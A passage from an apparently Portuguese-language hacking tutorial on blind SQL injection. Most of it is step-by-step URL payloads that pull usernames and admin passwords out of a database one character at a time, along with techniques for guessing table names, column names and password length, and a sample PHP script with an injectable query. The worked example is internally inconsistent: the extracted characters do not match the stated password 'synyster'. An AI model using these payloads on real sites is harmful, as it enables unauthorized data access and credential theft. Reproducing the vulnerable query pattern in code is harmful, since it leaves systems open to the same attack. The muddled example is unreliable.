  • http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>107
  • FALSO, VAMOS POR UM NUMERO MENOR
  • http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>104
  • RESPOSTA VERDADEIRA CONTINUAMOS INCREMENTANDO
  • http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>105
  • FALSO !!! DENOVO VAMOS CONSULTAR A TABELA E SEGUIR O MESMO PROCESSO, MUDANDO DE 2,1 PARA 3,1
  • NÓS SABEMOS DE ACORDO COM A TABELA QUE char(105) É 'i'. NÓS TEMOS 'ci' ...
  • QUANDO >0 E DER FALSO SABEMOS QUE EXTRAÍMOS TODO O CONTEÚDO.
  • Para não ficar muito bagunçado recomendo fazer o DUMP de uma coluna de cada vez.
  • Script Vulnerável a BLIND SQLI:
  • <?php
    /* [...] */
    $id = $_GET['id'];
    $sql = "SELECT * FROM noticias WHERE id = '$id'";
    $q = mysql_query($sql);
    
    $r = @mysql_fetch_row($q);
    /[...] /
    ?>
  • Como pudemos ver, o script esconde os erros da função mysql_fetch_row() utilizandoo operador de controle de erro @ antes de chamar a função.
  • Muitos programadores acreditam que assim eles estarão seguros.
  • FALSE: http://www.site.com/index.php?id=10 AND 1=0
    TRUE: http://www.site.com/index.php?id=10 AND 1=1
  • LOCALIZANDO TABELAS:
  • Vamos considerar a tabela como admin. O exemplo abaixo retorna FALSE porque não existe uma tabela chamada users.
  • http://www.site.com/index.php?id=10 AND(SELECT Count(*) FROM users)
  • Agora se tentarmos com a tabela 'admin' o site retornaria TRUE:
  • http://www.site.com/index.php?id=10 AND(SELECT Count(*) FROM admin)
  • LOCALIZANDO COLUNAS:
  • Pegar o conteúdo de uma coluna é bem fácil. O problema, é que tem que adivinhar seu nome:
  • O exemplo abaixo retorna FALSE porque a coluna nick não existe:
  • http://www.site.com/index.php?id=10 AND(SELECT Count(nick) FROM admin)
  • O Site retorna TRUE pois a coluna password existe.
  • http://www.site.com/index.php?id=10 AND(SELECT Count(password) FROM admin)
  • DUMP:
  • Por exemplo, se a senha do admin que está na coluna PASSWORD da tabela ADMIN é synyster, vimos que esta senha possui 8 caracteres.
  • Agora vamos montar o payload:
  • http://www.site.com/index.php?id=10 AND(SELECT length(password) FROM admin where id=1)=4 //FALSE
    http://www.site.com/index.php?id=10 AND(SELECT length(password) FROM admin where id=1)=6 //FALSE
    http://www.site.com/index.php?id=10 AND(SELECT length(password) FROM admin where id=1)=8 //TRUE
  • Bom, já que sabemos quantos caracteres a senha do administrador possue nós demos que adivinhar os caracteres um por um, no método antigo mesmo do BLIND SQLI Mysql
  • http://www.site.com/index.php?id=10 AND ascii(substring((SELECT concat(password) from admin limit 0,1),1,1))=102 <== TRUE
  • PEGANDO O SEGUNDO CARACTERE:
  • http://www.site.com/index.php?id=10 AND ascii(substring((SELECT concat(password) from admin limit 0,1),2,1))=121 <== TRUE
  • E assim por diante...